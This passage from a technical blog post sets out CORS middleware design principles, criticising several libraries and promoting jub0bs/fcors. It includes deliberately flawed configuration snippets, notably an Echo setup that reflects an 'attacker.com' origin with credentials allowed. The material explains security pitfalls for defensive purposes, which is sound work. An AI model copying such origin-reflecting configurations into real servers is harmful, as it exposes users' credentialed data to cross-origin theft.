Nevertheless, PNA is gradually <a href="https://developer.chrome.com/blog/private-network-access-preflight/" target="_blank" rel="noopener">getting support in Chromium</a>.
Unfortunately, many CORS middleware libraries—<a href="https://github.com/gin-contrib/cors/issues/81" target="_blank" rel="noopener">Gin&rsquo;s</a> is
but one example—still lack support for PNA, which forces
their users to look elsewhere for a solution.</p>
<p>Besides, PNA happens to be a source of new difficulties for library authors.
One assumption that used to be true is that
browsers would issue a preflight request only in reaction to
a client&rsquo;s attempt to send a <em>cross-origin</em> request.
Some CORS libraries, such as <a href="https://github.com/gin-contrib/cors" target="_blank" rel="noopener">Gin&rsquo;s</a>,
still <a href="https://github.com/gin-contrib/cors/blob/1d5e083a75f60fe6f09ef9463d896ef30eb2be5f/config.go#L70" target="_blank" rel="noopener">actively rely on this assumption</a>.
In this regard, PNA throws a spanner in the works:
as a mitigation against <a href="https://en.wikipedia.org/wiki/DNS_rebinding" target="_blank" rel="noopener">DNS rebinding</a>,
PNA-compliant browsers may now <a href="https://bugs.chromium.org/p/chromium/issues/detail?id=1299676" target="_blank" rel="noopener">issue a preflight request even in reaction to
a client&rsquo;s attempt to send a <em>same-origin</em> request</a>!
Accordingly, the implementation of Gin&rsquo;s CORS middleware library
will require amendments,
which may break clients who rely on the library&rsquo;s current behaviour.</p>
<p>Because PNA is a natural extension of the CORS protocol,
<a href="https://pkg.go.dev/github.com/jub0bs/fcors" target="_blank" rel="noopener">jub0bs/fcors</a> fully supports it
through advanced options hidden away in <a href="https://pkg.go.dev/github.com/jub0bs/fcors/risky" target="_blank" rel="noopener">its <code>risky</code> companion package</a>.
Moreover, among
<a href="#10-render-insecure-configurations-impossible">other similar constraints</a>,
<a href="https://pkg.go.dev/github.com/jub0bs/fcors" target="_blank" rel="noopener">jub0bs/fcors</a> prohibits developers
from enabling private network access from all origins,
a practice that the team leading the PNA specification effort
<a href="https://developer.chrome.com/blog/private-network-access-preflight/#examples" target="_blank" rel="noopener">actively discourages</a>:</p>
<blockquote>
<p>The server can set <code>Access-Control-Allow-Origin: *</code>,
though this is dangerous and discouraged.
Private network resources should rarely be accessible to all origins,
so think carefully about the risks involved in setting such a header.</p>
</blockquote>
<h3 id="4-categorise-requests-correctly">4. Categorise requests correctly <a href="#4-categorise-requests-correctly">¶</a></h3>
<p>The Fetch standard <a href="https://fetch.spec.whatwg.org/#cors-preflight-request" target="_blank" rel="noopener">tells us</a>
that a preflight request is one that, at the very least,</p>
<ul>
<li>uses the <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Methods/OPTIONS" target="_blank" rel="noopener"><code>OPTIONS</code> method</a>,</li>
<li>includes an <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Origin" target="_blank" rel="noopener"><code>Origin</code> header</a>,</li>
<li>includes an <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Access-Control-Request-Method" target="_blank" rel="noopener"><code>Access-Control-Request-Method</code> header</a>.</li>
</ul>
<p>In one of his posts,
Jake Archibald <a href="https://jakearchibald.com/2021/cors/#cors-requests" target="_blank" rel="noopener">laments</a> that some servers incorrectly
take the presence of an <code>Origin</code> header as an unmistakable cue
that a request is cross-origin.
I am similarly saddened by CORS middleware
(like <a href="https://github.com/expressjs/cors/blob/f038e7722838fd83935674aa8c5bf452766741fb/lib/index.js#L163" target="_blank" rel="noopener">Express.js&rsquo;s</a>) that fail to recognise
that preflight requests form a <em>strict</em> subset of all <code>OPTIONS</code> requests:</p>
<p><img src="/images/venn_preflight_NlC3T_C9syh03NPYGiiu3,MvAhI8WgdHK8OtftFLed2w.svg" alt="Venn diagram showing that not all OPTIONS requests are preflight requests"></p>
<p>This blunder unfortunately traps non-preflight <code>OPTIONS</code> requests,
which never make it past the CORS middleware
to the next HTTP handler in the chain.
Its deleterious effects also tend to reverberate throughout the CORS library.</p>
<p>Rather than identifying the problem and tackling it at the root,
the maintainers of <a href="https://expressjs.com/en/resources/middleware/cors.html" target="_blank" rel="noopener">Express.js&rsquo;s CORS middleware</a>
unfortunately opted instead to
<a href="https://github.com/expressjs/cors/pull/40" target="_blank" rel="noopener">retrofit the library</a> to provide their users
a kludgey way of letting non-preflight <code>OPTIONS</code> requests through, in the form of
a new <a href="https://expressjs.com/en/resources/middleware/cors.html#configuration-options" target="_blank" rel="noopener">configuration option named <code>preflightContinue</code></a>.
<a href="https://github.com/rs/cors/commit/a4c23809d15590a94f37d870f991f0c49998591c" target="_blank" rel="noopener">The addition of an <code>OptionsPassthrough</code> option</a>
to <a href="https://pkg.go.dev/github.com/rs/cors" target="_blank" rel="noopener">rs/cors</a>
and <a href="https://github.com/gorilla/handlers/commit/4d725479f7154fff401333083d412376c1b35570#diff-bf80d8fbedf172fab9ba2604da7f7be972e48b2f78a8d0cd21619d5f93665895R112" target="_blank" rel="noopener">the addition of an <code>IgnoreOptions</code> option</a>
to <a href="https://github.com/gorilla/handlers" target="_blank" rel="noopener">gorilla/handlers</a> were similarly motivated.
Such options are pure manifestations of accidental complexity
and make their library&rsquo;s API harder to apprehend.</p>
<p>By contrast, because <a href="https://pkg.go.dev/github.com/jub0bs/fcors" target="_blank" rel="noopener">jub0bs/fcors</a>
correctly categorises <code>OPTIONS</code> requests,
it requires no such cruft.</p>
<h3 id="5-validate-configuration-and-fail-fast">5. Validate configuration and fail fast <a href="#5-validate-configuration-and-fail-fast">¶</a></h3>
<p>The sheer number of CORS middleware libraries
that perform little to no configuration validation
and unconditionally produce a middleware,
even a dysfunctional one, baffles me.
In this regard, those libraries truly do their users a disservice.</p>
<p>For example, developers not very familiar with the concept of <a href="https://developer.mozilla.org/en-US/docs/Glossary/Origin" target="_blank" rel="noopener">Web origin</a>
may attempt to list, among the origins allowed by their CORS policy,
a value that is actually not a valid origin,
such as <a href="https://stackoverflow.com/questions/56959505/quarkus-blocked-by-cors-policy" target="_blank" rel="noopener">a URI that lacks a scheme</a>
or <a href="https://stackoverflow.com/q/70353729/2541573" target="_blank" rel="noopener">one that contains a path</a>.
The following code snippet draws inspiration from
<a href="https://github.com/gofiber/fiber/issues/1441" target="_blank" rel="noopener">a real-life example</a> involving
<a href="https://gofiber.io/" target="_blank" rel="noopener">Fiber</a>, a Web framework for Go:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#a6e22e">app</span>.<span style="color:#a6e22e">Use</span>(<span style="color:#a6e22e">cors</span>.<span style="color:#a6e22e">New</span>(<span style="color:#a6e22e">cors</span>.<span style="color:#a6e22e">Config</span>{
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">AllowOrigins</span>: <span style="color:#e6db74">&#34;https://example.com/&#34;</span>, <span style="color:#75715e">// incorrect</span>
</span></span><span style="display:flex;"><span>})
</span></span></code></pre></div><p>For context, here is the signature of Fiber&rsquo;s
<a href="https://github.com/gofiber/fiber/blob/07ab88278bff1ee8c82ac1256a2239708294feff/middleware/cors/cors.go#L75" target="_blank" rel="noopener">factory function <code>cors.New</code></a>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#66d9ef">func</span> <span style="color:#a6e22e">New</span>(<span style="color:#f92672">...</span><span style="color:#a6e22e">cors</span>.<span style="color:#a6e22e">Config</span>) <span style="color:#a6e22e">fiber</span>.<span style="color:#a6e22e">Handler</span>
</span></span></code></pre></div><p>The use of a variadic parameter is itself <a href="https://dave.cheney.net/2014/10/17/functional-options-for-friendly-apis" target="_blank" rel="noopener">questionable</a>,
but what I want to point out is that this function never &ldquo;fails&rdquo;:
it does not return an error, nor does it <a href="https://go.dev/blog/defer-panic-and-recover" target="_blank" rel="noopener">panic</a>.
Instead, in my example, it completely overlooks the configuration issue
caused by the invalid origin value
and returns a middleware that happens to be dysfunctional
because that middleware rejects <em>all</em> CORS requests,
even those whose origin is <code>https://example.com</code>.
Incidentally, I find this practice
of ignoring failure cases—or sweeping them under the rug—especially
puzzling when followed by Go libraries,
because diligent error reporting is so central to Go&rsquo;s culture.</p>
<p>Users of CORS libraries that lack configuration validation
may find out only much later that nothing works as expected,
e.g. after having deployed their server and testing their client against it;
and, even then, those developers may be at a loss to pinpoint
the root cause of the dysfunction they observe.
True, browsers do, in such cases, provide
an illuminating error message; here is Chromium&rsquo;s:</p>
<blockquote>
<p>Access to fetch at [REDACTED] from origin &lsquo;<a href="https://example.com" target="_blank" rel="noopener">https://example.com</a>&rsquo;
has been blocked by CORS policy:
Response to preflight request doesn&rsquo;t pass access control check:
The &lsquo;Access-Control-Allow-Origin&rsquo; header has a value &lsquo;<a href="https://example.com/%27" target="_blank" rel="noopener">https://example.com/'</a>
that is not equal to the supplied origin. Have the server send the header
with a valid value, or, if an opaque response serves your needs,
set the request&rsquo;s mode to &rsquo;no-cors&rsquo; to fetch the resource with CORS disabled.</p>
</blockquote>
<p>But this rather loose feedback loop is detrimental to developer experience.
Immediately presenting developers with the brutal truth,
in the form of a helpful <em>server-side</em> error message,
would be preferable to delaying their disappointment.
Accordingly, CORS middleware libraries should categorically refuse
to produce a middleware bound to be dysfunctional
and should error out as early as middleware instantiation.</p>
<p>Here is another example of a a general lack of configuration validation.
Some CORS libraries, like <a href="https://pkg.go.dev/github.com/rs/cors" target="_blank" rel="noopener">rs/cors</a>,
allow their users to configure the status code
that preflight responses should use, but few of them check that the status code
in question is an <a href="https://fetch.spec.whatwg.org/#ok-status" target="_blank" rel="noopener"><em>ok status</em></a> (i.e. an integer in the 200-299 range),
which is <a href="https://fetch.spec.whatwg.org/#cors-preflight-fetch-0" target="_blank" rel="noopener">a necessary condition for preflight to succeed</a>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#a6e22e">c</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">cors</span>.<span style="color:#a6e22e">New</span>(<span style="color:#a6e22e">cors</span>.<span style="color:#a6e22e">Options</span>{
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">AllowedOrigins</span>: []<span style="color:#66d9ef">string</span>{<span style="color:#e6db74">&#34;https://example.com&#34;</span>},
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">OptionsSuccessStatus</span>: <span style="color:#ae81ff">300</span>, <span style="color:#75715e">// incorrect</span>
</span></span><span style="display:flex;"><span>})
</span></span></code></pre></div><p>Still unconvinced that lack of configuration validation is problematic?
Here is another example featuring the <a href="https://spring.io/" target="_blank" rel="noopener">Spring framework</a>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-java" data-lang="java"><span style="display:flex;"><span><span style="color:#a6e22e">@Override</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">public</span> <span style="color:#66d9ef">void</span> <span style="color:#a6e22e">addCorsMappings</span>(CorsRegistry corsRegistry) {
</span></span><span style="display:flex;"><span>  corsRegistry.<span style="color:#a6e22e">addMapping</span>(<span style="color:#e6db74">&#34;/**&#34;</span>)
</span></span><span style="display:flex;"><span>    .<span style="color:#a6e22e">allowedOrigins</span>(<span style="color:#e6db74">&#34;*&#34;</span>)
</span></span><span style="display:flex;"><span>    .<span style="color:#a6e22e">allowedHeaders</span>(<span style="color:#e6db74">&#34;Content-Type,Authorization&#34;</span>); <span style="color:#75715e">// incorrect</span>
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>This Java code snippet raises no exception, but the resulting CORS middleware
does <em>not</em> allow request headers <code>Content-Type</code> and <code>Authorization</code>. Why not?
Because <a href="https://github.com/spring-projects/spring-framework/blob/64de6de725dcbee0ea9b14ee4ab6c264f32421ee/spring-webflux/src/main/java/org/springframework/web/reactive/config/CorsRegistration.java#L97" target="_blank" rel="noopener">Spring&rsquo;s <code>allowedHeaders</code> method</a> is variadic
and expects its users to specify their allowed request-header names,
not as a single string value, but one by one as separate arguments:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-java" data-lang="java"><span style="display:flex;"><span><span style="color:#a6e22e">@Override</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">public</span> <span style="color:#66d9ef">void</span> <span style="color:#a6e22e">addCorsMappings</span>(CorsRegistry corsRegistry) {
</span></span><span style="display:flex;"><span>  corsRegistry.<span style="color:#a6e22e">addMapping</span>(<span style="color:#e6db74">&#34;/**&#34;</span>)
</span></span><span style="display:flex;"><span>    .<span style="color:#a6e22e">allowedOrigins</span>(<span style="color:#e6db74">&#34;*&#34;</span>)
</span></span><span style="display:flex;"><span>    .<span style="color:#a6e22e">allowedHeaders</span>(<span style="color:#e6db74">&#34;Content-Type&#34;</span>, <span style="color:#e6db74">&#34;Authorization&#34;</span>); <span style="color:#75715e">// correct</span>
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>If Spring instead failed fast in the event of an invalid user-specified
request-header name—and <code>Content-Type,Authorization</code>
most definitely is not a <a href="https://datatracker.ietf.org/doc/html/rfc7230#section-3.2" target="_blank" rel="noopener">valid request-header name</a>—the
framework would spare its users <a href="https://stackoverflow.com/questions/75022849/webflux-cors-no-access-control-allow-origin/75025792" target="_blank" rel="noopener">much frustration</a>.</p>
<p><img src="/images/chimp_typewriter.jpg" alt="picture of a chimpanzee at a typewritter"></p>
<p>In stark contrast with those libraries,
<a href="https://pkg.go.dev/github.com/jub0bs/fcors" target="_blank" rel="noopener">jub0bs/fcors</a> adopts a <a href="https://en.wikipedia.org/wiki/Defensive_programming" target="_blank" rel="noopener">defensive</a> approach:
it steadfastly validates CORS configuration
(origins, headers, methods, etc.) and errors out at middleware instantiation
rather than produce a dysfunctional middleware.</p>
<p>Moreover, <a href="https://pkg.go.dev/github.com/jub0bs/fcors" target="_blank" rel="noopener">jub0bs/fcors</a> guides developers unfamiliar with CORS
towards a cruft-free configuration,
by aggressively rejecting <a href="https://fetch.spec.whatwg.org/#forbidden-request-header" target="_blank" rel="noopener">request headers</a>,
<a href="https://fetch.spec.whatwg.org/#forbidden-response-header-name" target="_blank" rel="noopener">response headers</a>,
and <a href="https://fetch.spec.whatwg.org/#forbidden-method" target="_blank" rel="noopener">method names</a> that the Fetch standard <em>forbids</em>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#a6e22e">cors</span>, <span style="color:#a6e22e">err</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">fcors</span>.<span style="color:#a6e22e">AllowAccess</span>(
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">fcors</span>.<span style="color:#a6e22e">FromAnyOrigin</span>(),
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">fcors</span>.<span style="color:#a6e22e">WithMethods</span>(<span style="color:#e6db74">&#34;CONNECT&#34;</span>),              <span style="color:#75715e">// ❌</span>
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">fcors</span>.<span style="color:#a6e22e">WithRequestHeaders</span>(<span style="color:#e6db74">&#34;Cookie&#34;</span>),        <span style="color:#75715e">// ❌</span>
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">fcors</span>.<span style="color:#a6e22e">ExposeResponseHeaders</span>(<span style="color:#e6db74">&#34;Set-Cookie&#34;</span>), <span style="color:#75715e">// ❌</span>
</span></span><span style="display:flex;"><span>)
</span></span></code></pre></div><p>As a result of its strict stance on configuration validation,
<a href="https://pkg.go.dev/github.com/jub0bs/fcors" target="_blank" rel="noopener">jub0bs/fcors</a> enables a tighter development feedback loop
than its competition does.
The next principle expands on this idea,
but in the specific context of the CORS protocol&rsquo;s so-called <em>wildcard exception</em>.</p>
<h3 id="6-treat-cors-as-a-compilation-target">6. Treat CORS as a compilation target <a href="#6-treat-cors-as-a-compilation-target">¶</a></h3>
<p>One peculiarity of the CORS protocol that trips many Web developers up is
a deliberate constraint colloquially known as the <em>wildcard exception</em>.
The Fetch standard remains the authoritative (if somewhat dry) source of truth
about CORS, but <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#credentialed_requests_and_wildcards" target="_blank" rel="noopener">MDN Web Docs does a good job at demystifying
the wildcard exception</a>.
In a nutshell, credentialed requests (e.g. requests that include cookies)
are incompatible with uses of the wildcard (<code>*</code>)
in any of the following CORS response headers:</p>
<ul>
<li><code>Access-Control-Allow-Origin</code></li>
<li><code>Access-Control-Allow-Methods</code></li>
<li><code>Access-Control-Allow-Headers</code></li>
<li><code>Access-Control-Expose-Headers</code></li>
</ul>
<p>Browsers simply deny clients access to such responses and raise
an error, either during preflight (when applicable)
or after receiving the response to the actual request from the server.</p>
<p>The wildcard exception indisputably is a beneficial constraint:
it plays an important role in preventing incautious server developers from
allowing credentialed access from more Web origins than they ought to,
and, therefore, in protecting stakeholders from
<a href="https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties" target="_blank" rel="noopener">cross-origin attacks meant to exfiltrate their sensitive data</a>.</p>
<p>You would expect a well-designed CORS middleware library to prohibit
dysfunctional CORS configurations that disregard the wildcard exception.
Unfortunately, many libraries don&rsquo;t go through that trouble.
Here is an example featuring <a href="https://expressjs.com/en/resources/middleware/cors.html" target="_blank" rel="noopener">the CORS middleware library of Express.js</a>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span><span style="color:#66d9ef">const</span> <span style="color:#a6e22e">express</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">require</span>(<span style="color:#e6db74">&#39;express&#39;</span>)
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">const</span> <span style="color:#a6e22e">cors</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">require</span>(<span style="color:#e6db74">&#39;cors&#39;</span>)
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">const</span> <span style="color:#a6e22e">app</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">express</span>()
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">const</span> <span style="color:#a6e22e">port</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">8081</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">const</span> <span style="color:#a6e22e">corsOptions</span> <span style="color:#f92672">=</span> {
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">origin</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#39;*&#39;</span>,
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">credentials</span><span style="color:#f92672">:</span> <span style="color:#66d9ef">true</span>,
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">app</span>.<span style="color:#a6e22e">get</span>(<span style="color:#e6db74">&#39;/hello&#39;</span>, <span style="color:#a6e22e">cors</span>(<span style="color:#a6e22e">corsOptions</span>), (<span style="color:#a6e22e">req</span>, <span style="color:#a6e22e">res</span>) =&gt; {
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">res</span>.<span style="color:#a6e22e">send</span>(<span style="color:#e6db74">&#39;Hello, World!&#39;</span>)
</span></span><span style="display:flex;"><span>})
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">app</span>.<span style="color:#a6e22e">listen</span>(<span style="color:#a6e22e">port</span>, () =&gt; {
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">console</span>.<span style="color:#a6e22e">log</span>(<span style="color:#e6db74">`Example app listening on port </span><span style="color:#e6db74">${</span><span style="color:#a6e22e">port</span><span style="color:#e6db74">}</span><span style="color:#e6db74">`</span>)
</span></span><span style="display:flex;"><span>})
</span></span></code></pre></div><p>Sending a <code>GET</code> CORS request to <code>/hello</code> yields
a response that contains the following headers:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-http" data-lang="http"><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">Access-Control-Allow-Origin: *
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">Access-Control-Allow-Credentials: true
</span></span></span></code></pre></div><p>As a result, browsers will allow anonymous access from all origins,
but won&rsquo;t allow credentialed access
precisely because of the wildcard exception.
Clients who send credentialed <code>GET</code> requests to <code>/hello</code> will indeed
be confronted with a CORS error of this kind:</p>
<blockquote>
<p>Access to fetch at [REDACTED] from origin [REDACTED]
has been blocked by CORS policy:
The value of the &lsquo;Access-Control-Allow-Origin&rsquo; header in the response
must not be the wildcard &lsquo;*&rsquo; when the request&rsquo;s credentials mode is &lsquo;include&rsquo;.</p>
</blockquote>
<p>You can imagine how this error message can elicit puzzlement and frustration
among developers unfamiliar with the wildcard exception.
In fact, seldom a day goes by without some distraught developers
<a href="https://stackoverflow.com/q/19743396/2541573" target="_blank" rel="noopener">asking for help about the wildcard exception on Stack Overflow</a>.
Not a great developer experience&hellip;</p>
<p>A well-designed CORS middleware library would <a href="https://ieeexplore.ieee.org/stamp/stamp.jsp?arnumber=1331296" target="_blank" rel="noopener">fail fast</a>
and would not allow server developers to proceed
with such a dysfunctional CORS configuration
as one that ignores the wildcard exception.</p>
<p>But developers&rsquo; misfortunes do not end there, because
some CORS middleware libraries make even more regrettable design decisions.
Well aware of the wildcard exception, those libraries bend over backwards
to spare their users a dysfunctional CORS middleware
and give them an insecure one instead!
Here is an example featuring
the <a href="https://echo.labstack.com/" target="_blank" rel="noopener">Echo framework</a>&rsquo;s <a href="https://echo.labstack.com/middleware/cors/" target="_blank" rel="noopener">CORS middleware</a>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#f92672">package</span> <span style="color:#a6e22e">main</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> (
</span></span><span style="display:flex;"><span>  <span style="color:#e6db74">&#34;net/http&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#e6db74">&#34;github.com/labstack/echo/v4&#34;</span>
</span></span><span style="display:flex;"><span>  <span style="color:#e6db74">&#34;github.com/labstack/echo/v4/middleware&#34;</span>
</span></span><span style="display:flex;"><span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">func</span> <span style="color:#a6e22e">main</span>() {
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">e</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">echo</span>.<span style="color:#a6e22e">New</span>()
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">e</span>.<span style="color:#a6e22e">Use</span>(<span style="color:#a6e22e">middleware</span>.<span style="color:#a6e22e">CORSWithConfig</span>(<span style="color:#a6e22e">middleware</span>.<span style="color:#a6e22e">CORSConfig</span>{
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">AllowOrigins</span>:     []<span style="color:#66d9ef">string</span>{<span style="color:#e6db74">&#34;*&#34;</span>},
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">AllowCredentials</span>: <span style="color:#66d9ef">true</span>,
</span></span><span style="display:flex;"><span>  }))
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">e</span>.<span style="color:#a6e22e">GET</span>(<span style="color:#e6db74">&#34;/hello&#34;</span>, <span style="color:#a6e22e">hello</span>)
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">e</span>.<span style="color:#a6e22e">Logger</span>.<span style="color:#a6e22e">Fatal</span>(<span style="color:#a6e22e">e</span>.<span style="color:#a6e22e">Start</span>(<span style="color:#e6db74">&#34;:8081&#34;</span>))
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">func</span> <span style="color:#a6e22e">hello</span>(<span style="color:#a6e22e">c</span> <span style="color:#a6e22e">echo</span>.<span style="color:#a6e22e">Context</span>) <span style="color:#66d9ef">error</span> {
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">c</span>.<span style="color:#a6e22e">String</span>(<span style="color:#a6e22e">http</span>.<span style="color:#a6e22e">StatusOK</span>, <span style="color:#e6db74">&#34;Hello, World!&#34;</span>)
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>Sending a <code>GET</code> CORS request to <code>/hello</code> from Web origin <code>https://attacker.com</code>
yields a response that contains the following headers:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-http" data-lang="http"><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">Access-Control-Allow-Origin: https://attacker.com
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">Access-Control-Allow-Credentials: true
</span></span></span></code></pre></div><p>😱 Yikes!
Echo&rsquo;s CORS middleware actively bypasses the wildcard exception
by unconditionally reflecting the request&rsquo;s origin
in the <code>Access-Control-Allow-Origin</code> header,
thereby leaving the door wide open to <a href="https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties" target="_blank" rel="noopener">cross-origin attacks</a>!
This regrettable design decision has plagued and still plagues
many CORS middleware libraries,
to the point that such conscientious security researchers as
<a href="https://github.com/go-chi/cors/pull/6" target="_blank" rel="noopener">Evan Johnson</a> and <a href="https://github.com/rs/cors/issues/55" target="_blank" rel="noopener">Jianjun Chen</a>
felt compelled to publicly call some of them out, with varying degrees of success.</p>
<p>Edit (2023-02-28): I raised the issue on the Echo repository and the maintainers
<a href="https://github.com/labstack/echo/pull/2405" target="_blank" rel="noopener">have since improved the situation a bit</a>
by removing this dangerous behaviour and adding an escape hatch to reinstate it
if needed. Fiber, which was similarly afflicted,
<a href="https://github.com/gofiber/fiber/pull/2339" target="_blank" rel="noopener">has also been fixed</a>
since the publication of this post.</p>
<p>By contrast with the great majority of CORS middleware libraries,
<a href="https://pkg.go.dev/github.com/jub0bs/fcors" target="_blank" rel="noopener">jub0bs/fcors</a> sidesteps the wildcard-exception difficulty altogether.
In the spirit of
<a href="https://web.stanford.edu/~ouster/cgi-bin/aposd.php" target="_blank" rel="noopener">John Ousterhout&rsquo;s philosophy of software design</a>,
<a href="https://pkg.go.dev/github.com/jub0bs/fcors" target="_blank" rel="noopener">jub0bs/fcors</a> <em>pulls complexity downwards</em>:
it abstracts the complexity associated with the wildcard exception
by treating CORS as a lower-level compilation target—an idea reminiscent of
one that Mike West once floated
about <a href="https://www.w3.org/TR/CSP3/" target="_blank" rel="noopener">Content Security Policy</a>:</p>
<blockquote>
<p>perhaps we can start looking at CSP as a (complicated, low-level) compilation
target.</p>
</blockquote>
<p><a href="https://pkg.go.dev/github.com/jub0bs/fcors" target="_blank" rel="noopener">jub0bs/fcors</a> indeed prevents dysfunctional configurations
by prohibiting explicit use of the wildcard (<code>&quot;*&quot;</code>)
and forcing users to describe their desired CORS policy
in a higher-level, more declarative fashion instead.
For instance, the following code snippet raises a run-time error:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#a6e22e">fcors</span>.<span style="color:#a6e22e">AllowAccess</span>(
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">fcors</span>.<span style="color:#a6e22e">FromOrigins</span>(<span style="color:#e6db74">&#34;*&#34;</span>), <span style="color:#75715e">// ❌</span>
</span></span><span style="display:flex;"><span>)
</span></span></code></pre></div><p>Developers who wish to allow anonymous access from any origin should
instead write</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#a6e22e">fcors</span>.<span style="color:#a6e22e">AllowAccess</span>(
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">fcors</span>.<span style="color:#a6e22e">FromAnyOrigin</span>(), <span style="color:#75715e">// ✅</span>
</span></span><span style="display:flex;"><span>)
</span></span></code></pre></div><p>The library does use the wildcard under the hood when possible,
but affords developers blissful oblivion to this implementation detail.</p>
<p>Besides, <a href="https://pkg.go.dev/github.com/jub0bs/fcors" target="_blank" rel="noopener">jub0bs/fcors</a> embraces <a href="https://github.com/yminsky" target="_blank" rel="noopener">Yaron Minsky</a>&rsquo;s
<a href="https://blog.janestreet.com/effective-ml-revisited/#make-illegal-states-unrepresentable" target="_blank" rel="noopener">principle of <em>making illegal states unrepresentable</em></a>:
far from insecurely bypassing the wildcard exception,
